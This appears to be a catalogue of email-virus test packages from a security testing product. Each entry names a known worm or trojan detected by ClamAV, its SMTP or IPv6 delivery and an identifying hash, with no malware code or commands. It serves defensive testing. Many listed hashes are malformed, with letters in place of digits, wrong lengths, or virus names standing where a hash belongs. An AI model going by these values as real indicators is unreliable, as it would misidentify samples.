Detailed Description:	This is the email virus Worm.Longbe.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4dc49e978b520968e59b9a272538c131. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Neight.nei.f2f85781_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Neight.nei (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Neight.nei as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Neight.nei. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.SLight.fla90278_IPv6.xml
Executive Description:	Email Virus Worm.SLight (IPv6 Version)
Detailed Description:	This is the email virus Worm.SLight as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: fla90278a75cf8c17ac2a43f91284bf6. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	WScr.Unsafe.D.d2f827d0.xml
Executive Description:	Email Virus WScr.Unsafe.D
Detailed Description:	This is the email virus WScr.Unsafe.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d2f827d06adf956ba38c626d492a13b6. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Kondrik.b.575c9073.xml
Executive Description:	Email Virus Worm.Kondrik.b
Detailed Description:	This is the email virus Worm.Kondrik.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 575c90738a639d3dc7e2a0e22b7a4c4. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Fagled.fag.10054a7d_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Fagled.fag (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Fagled.fag as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Fagled.fag. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Wideman.8135.b.b.99519cea.xml

Executive Description:	Email Virus Email-Worm.Win32.Wideman.8135.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Wideman.8135.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Wideman.8135.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Heath.c.05cb6600_IPv6.xml
Executive Description:	Email Virus Worm.Heath.c (IPv6 Version)
Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 05cb660040a843fa2c5602f51fd9efa4. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.Alcaul.B.51f19993.xml
Executive Description:	Email Virus VBS.Alcaul.B
Detailed Description:	This is the email virus VBS.Alcaul.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 51f19993474bc77d0cb4694bc6c8f643. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lovgate.Y.068ab7af.xml
Executive Description:	Email Virus Worm.Lovgate.Y
Detailed Description:	This is the email virus Worm.Lovgate.Y as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 068ab7aff165eaf4a6b5d1f5efc5779d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Heath.c.b4ccellf_IPv6.xml
Executive Description:	Email Virus Worm.Heath.c (IPv6 Version)
Detailed Description:	This is the email virus Worm.Heath.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b4ccellf5a33a9d3bf623a08f44cd355. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Yaha.G-2.b63eae8c.xml
Executive Description:	Email Virus Worm.Yaha.G-2
Detailed Description:	This is the email virus Worm.Yaha.G-2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b63eae8cfebf0a3f7a05504933dcea5d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.HappyTime.166ca5f7_IPv6.xml
Executive Description:	Email Virus Worm.HappyTime (IPv6 Version)
Detailed Description:	This is the email virus Worm.HappyTime as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 166ca5f7fb480b5882f8bb99ebd78b8b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Razor.a.a.48860712_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Razor.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Razor.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Razor.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.San.A.2e69f2fa_IPv6.xml
Executive Description:	Email Virus VBS.San.A (IPv6 Version)
Detailed Description:	This is the email virus VBS.San.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2e69f2faldfcf256549cca809cc4c9d6. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Magistr.A.ca3a810e_IPv6.xml
Executive Description:	Email Virus W32.Magistr.A (IPv6 Version)

Threat File Name:	W32.Magistr.B.435471ea.xml
Executive Description:	Email Virus W32.Magistr.B
Detailed Description:	This is the email virus W32.Magistr.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 435471ea7a9b834d628c91dccc226e91. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Buzill.a.a.abb60ef5_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Buzill.a.a (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Buzill.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Buzill.a.a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Zafi.B.652968e7_IPv6.xml
Executive Description:	Email Virus Worm.Zafi.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Zafi.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 652968e789f74144dle64f234406f1d4. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.IWorm.Gift.Anap.a6f5addf_IPv6.xml
Executive Description:	Email Virus Trojan.IWorm.Gift.Anap (IPv6 Version)
Detailed Description:	This is the email virus Trojan.IWorm.Gift.Anap as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a6f5addfe420782c9469a0625e9b2b56. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Calhob.A.dla46e8d.xml
Executive Description:	Email Virus Worm.Calhob.A
Detailed Description:	This is the email virus Worm.Calhob.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: dla46e8d82a26d872096d14b7d2589f8. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.ASP.Paq.A.0ab6eca5_IPv6.xml
Executive Description:	Email Virus Worm.ASP.Paq.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.ASP.Paq.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0ab6eca56441a7a747dbf3e91b6e17ad. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Poly.28dd1832_IPv6.xml
Executive Description:	Email Virus Worm.Poly (IPv6 Version)
Detailed Description:	This is the email virus Worm.Poly as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 28dd1832482b92945eb69e3a134cd017. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.FunnyPics.ce281ff3.xml
Executive Description:	Email Virus Worm.FunnyPics
Detailed Description:	This is the email virus Worm.FunnyPics as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ce281ff3a0cbdea45f1f5757052e369b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email

Threat File Name:	Worm.Mimail.I.blad7269_IPv6.xml
Executive Description:	Email Virus Worm.Mimail.I (IPv6 Version)
Detailed Description:	This is the email virus Worm.Mimail.I as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: blad7269b179113d43c7c7564dcf67e0. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W95.Silver.1.63db7235_IPv6.xml
Executive Description:	Email Virus W95.Silver.1 (IPv6 Version)
Detailed Description:	This is the email virus W95.Silver.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 63db723516db09bf837938254e8cb1d3. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.VBS.Nightwish.A.b32e195b_IPv6.xml
Executive Description:	Email Virus Trojan.VBS.Nightwish.A (IPv6 Version)
Detailed Description:	This is the email virus Trojan.VBS.Nightwish.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b32e195b77ac01e6c1be4ffd7ec9e144. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Razac.A.10ce9a77.xml
Executive Description:	Email Virus Worm.Razac.A
Detailed Description:	This is the email virus Worm.Razac.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 10ce9a774daabf126eff86965eed3198. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Tavo.71bee564.xml
Executive Description:	Email Virus Worm.VBS.Tavo
Detailed Description:	This is the email virus Worm.VBS.Tavo as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 71bee56406284430232c73232288c41f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Antiax.8dfb3a3b.xml
Executive Description:	Email Virus Worm.Antiax
Detailed Description:	This is the email virus Worm.Antiax as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8dfb3a3b3680e105b3e4f3bd0c019d38. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.JS.Startpage.C.8bb9e14d.xml
Executive Description:	Email Virus Trojan.JS.Startpage.C
Detailed Description:	This is the email virus Trojan.JS.Startpage.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8bb9e14d6823980c5741b3f20e8b0f91. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.74b41503_IPv6.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165 (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 74b4150355449129cca71ec95f61b55e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Updater.e.e.blcafbf0_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Updater.e.e (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Updater.e.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Updater.e.e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Klez.E.ecla90c3_IPv6.xml
Executive Description:	Email Virus Worm.Klez.E (IPv6 Version)
Detailed Description:	This is the email virus Worm.Klez.E as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ecla90c3bb2262bd9cb3179fel06c7b1. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.DOS.Heybro.hey.6634551b.xml
Executive Description:	Email Virus Email-Worm.DOS.Heybro.hey
Detailed Description:	This is the email virus Email-Worm.DOS.Heybro.hey as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.DOS.Heybro.hey. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP

Threat Package:	Email
Threat File Name:	Email-Worm.VBS.DragonBall.dra.924d895c_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.DragonBall.dra (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.DragonBall.dra as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.DragonBall.dra. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.72fff9ae.xml
Executive Description:	Email Virus Worm.Bagle.AG.2
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 72fff9ae6f2e943c19d4df36ee776a74. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Alcaul.t.084d8243.xml
Executive Description:	Email Virus Worm.Alcaul.t
Detailed Description:	This is the email virus Worm.Alcaul.t as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 084d82431a296b27dcl8cce0175c5bd0. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Icecubes.A.0556976e.xml
Executive Description:	Email Virus Worm.Icecubes.A
Detailed Description:	This is the email virus Worm.Icecubes.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0556976eb438ac5f7ff2aa0e1e8db7f3. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Wozer.F.5d9a4018_IPv6.xml
Executive Description:	Email Virus Worm.Wozer.F (IPv6 Version)
Detailed Description:	This is the email virus Worm.Wozer.F as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5d9a401831af2a478c37b4764a95de3c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Xanax.d.d.4d60863c.xml
Executive Description:	Email Virus Email-Worm.Win32.Xanax.d.d
Detailed Description:	This is the email virus Email-Worm.Win32.Xanax.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Xanax.d.d. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.YoursID.f4cclb17.xml
Executive Description:	Email Virus Worm.YoursID
Detailed Description:	This is the email virus Worm.YoursID as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f4cclb17617b9cfcfeb90e73356b8639. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Godog.8f940828_IPv6.xml
Executive Description:	Email Virus Worm.Godog (IPv6 Version)
Detailed Description:	This is the email virus Worm.Godog as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8f940828ab297b8d23d3050481ae456a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Doggy.5e3c01ee_IPv6.xml
Executive Description:	Email Virus Worm.Doggy (IPv6 Version)
Detailed Description:	This is the email virus Worm.Doggy as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 5e3c01ee1471f28ab9a03809f19c3717. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Langex.lan.a21f458d_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Langex.lan (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Langex.lan as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Langex.lan. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Hermon.her.8da91e09.xml
Executive Description:	Email Virus Email-Worm.Win32.Hermon.her
Detailed Description:	This is the email virus Email-Worm.Win32.Hermon.her as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Hermon.her. This attack is delivered via SMTP to a email server.

Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.3D-Stars.1.d7387686_IPv6.xml
Executive Description:	Email Virus Worm.3D-Stars.1 (IPv6 Version)
Detailed Description:	This is the email virus Worm.3D-Stars.1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d738768613c52557157d90c701cecc5e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.BB-gen.b05d6259_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.BB-gen (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.BB-gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b05d62592752bdba6ccf9cf66683d11f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.P2000.c5a6139b_IPv6.xml
Executive Description:	Email Virus Worm.P2000 (IPv6 Version)
Detailed Description:	This is the email virus Worm.P2000 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c5a6139b142bc6cc2535f506d936c06e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Cowpox.f9744915_IPv6.xml
Executive Description:	Email Virus Worm.Cowpox (IPv6 Version)
Detailed Description:	This is the email virus Worm.Cowpox as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: f97449153ad35d8ccd85fc9d706c7e6. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Worm.Choke.b14bacd6_IPv6.xml
Executive Description:	Email Virus W32.Worm.Choke (IPv6 Version)
Detailed Description:	This is the email virus W32.Worm.Choke as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b14bacd6ff439f81c08cc649bdd7a912. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Hybris.C.0ff61a81_IPv6.xml
Executive Description:	Email Virus W32.Hybris.C (IPv6 Version)
Detailed Description:	This is the email virus W32.Hybris.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0ff61a8168b587e026ed448a4884b0e3. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Alcaul.O.c882635e.xml
Executive Description:	Email Virus Worm.Alcaul.O
Detailed Description:	This is the email virus Worm.Alcaul.O as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: c882635ec0dd9a153748adefbcb593. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lorda.d77119bc_IPv6.xml
Executive Description:	Email Virus Worm.Lorda (IPv6 Version)
Detailed Description:	This is the email virus Worm.Lorda as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d77119bcac38455171bef02335eeb5ecf. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Ultratt.gz.7fc0a19a.xml
Executive Description:	Email Virus W32.Ultratt.gz
Detailed Description:	This is the email virus W32.Ultratt.gz as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7fc0a19adafcc768c7134bd53bb9333f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Fbound.C.638e2c92_IPv6.xml
Executive Description:	Email Virus Worm.Fbound.C (IPv6 Version)
Detailed Description:	This is the email virus Worm.Fbound.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 638e2c92260bdc14c6e41fd659a41ab7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Eversaw.ce9f6729_IPv6.xml
Executive Description:	Email Virus Worm.Eversaw (IPv6 Version)

Detailed Description:	This is the email virus Worm.Eversaw as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ce9f6729e20384cbf5e6f9865276282c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.F.bb364cd2_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.F (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.F as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bb364cd289c867d33d85ba886e53e0ba. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.Worm.Hoko.faa0aad3_IPv6.xml
Executive Description:	Email Virus W32.Worm.Hoko (IPv6 Version)
Detailed Description:	This is the email virus W32.Worm.Hoko as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: faa0aad3acd227d73e7e7f7cf61b87. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.WCGen.4c2b4d62.xml
Executive Description:	Email Virus Worm.WCGen
Detailed Description:	This is the email virus Worm.WCGen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4c2b4d6277d92e554ae1369a8a4b68e2. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.SomeFool.I.e26bc655_IPv6.xml
Executive Description:	Email Virus Worm.SomeFool.I (IPv6 Version)
Detailed Description:	This is the email virus Worm.SomeFool.I as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e26bc6552359a226ce6589e60c22151. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Centar.j.j.4e489950.xml
Executive Description:	Email Virus Email-Worm.Win32.Centar.j.j
Detailed Description:	This is the email virus Email-Worm.Win32.Centar.j.j as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Centar.j.j. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Nocana.d.d.e4e7fcbe_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Nocana.d.d (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Nocana.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Nocana.d.d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.MsWorld.msw.7bd8a009.xml
Executive Description:	Email Virus Email-Worm.Win32.MsWorld.msw
Detailed Description:	This is the email virus Email-Worm.Win32.MsWorld.msw as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.MsWorld.msw. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Newman.B.bca20f5b.xml
Executive Description:	Email Virus Worm.Newman.B
Detailed Description:	This is the email virus Worm.Newman.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bca20f5ba03447e2afee05688d43bdd8. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Manyx.man.8adcd31a_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Manyx.man (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Manyx.man as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Manyx.man. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.NatiDay.207486d1.xml
Executive Description:	Email Virus Worm.NatiDay
Detailed Description:	This is the email virus Worm.NatiDay as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 207486d1302602714133ed92e1c22e39. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Delf.d.d.632e8282_IPv6.xml

Executive Description:	Email Virus Email-Worm.Win32.Delf.d.d (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Delf.d.d as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Delf.d.d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Hatred.b.34775617_IPv6.xml
Executive Description:	Email Virus Worm.Hatred.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Hatred.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3477561728af77a73980251bbd7e7b44. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.VBS.Intr.A.95dc66a6_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Intr.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.VBS.Intr.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 95dc66a63e0b4c951d4e333928b2fe0. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.P.75c2df98_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.P (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.P as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 75c2df982a01db8f5e7024d74b3aef5d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.MyPics.F.a052ff2b_IPv6.xml
Executive Description:	Email Virus Worm.MyPics.F (IPv6 Version)
Detailed Description:	This is the email virus Worm.MyPics.F as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a052ff2b9b0641b987c82bb7253ceda. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Visilin.9c93bcef_IPv6.xml
Executive Description:	Email Virus Worm.Visilin (IPv6 Version)
Detailed Description:	This is the email virus Worm.Visilin as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9c93bcef6c2554cee0a34a29d109515a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Yoxec.171f0d02_IPv6.xml
Executive Description:	Email Virus Worm.Yoxec (IPv6 Version)
Detailed Description:	This is the email virus Worm.Yoxec as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 171f0d0206fa49db9ed3c700356f7853. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Urbe.c.c.93296357_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Urbe.c.c (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Urbe.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Urbe.c.c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Totilix.A.ba6bd0ba.xml
Executive Description:	Email Virus Worm.Totilix.A
Detailed Description:	This is the email virus Worm.Totilix.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ba6bd0ba8112a75eb70eb301717aa9bc. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Crist.A.68e77e71_IPv6.xml
Executive Description:	Email Virus Worm.Crist.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Crist.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 68e77e7197d29b891e6222953fb6a0f0. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	W32.IWorm.Haiku.bc41f463_IPv6.xml
Executive Description:	Email Virus W32.IWorm.Haiku (IPv6 Version)
Detailed Description:	This is the email virus W32.IWorm.Haiku as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bc41f4637a734b9eaca74dfa9bel3efc. This attack is delivered via SMTP to a email server. (IPv6 Version)
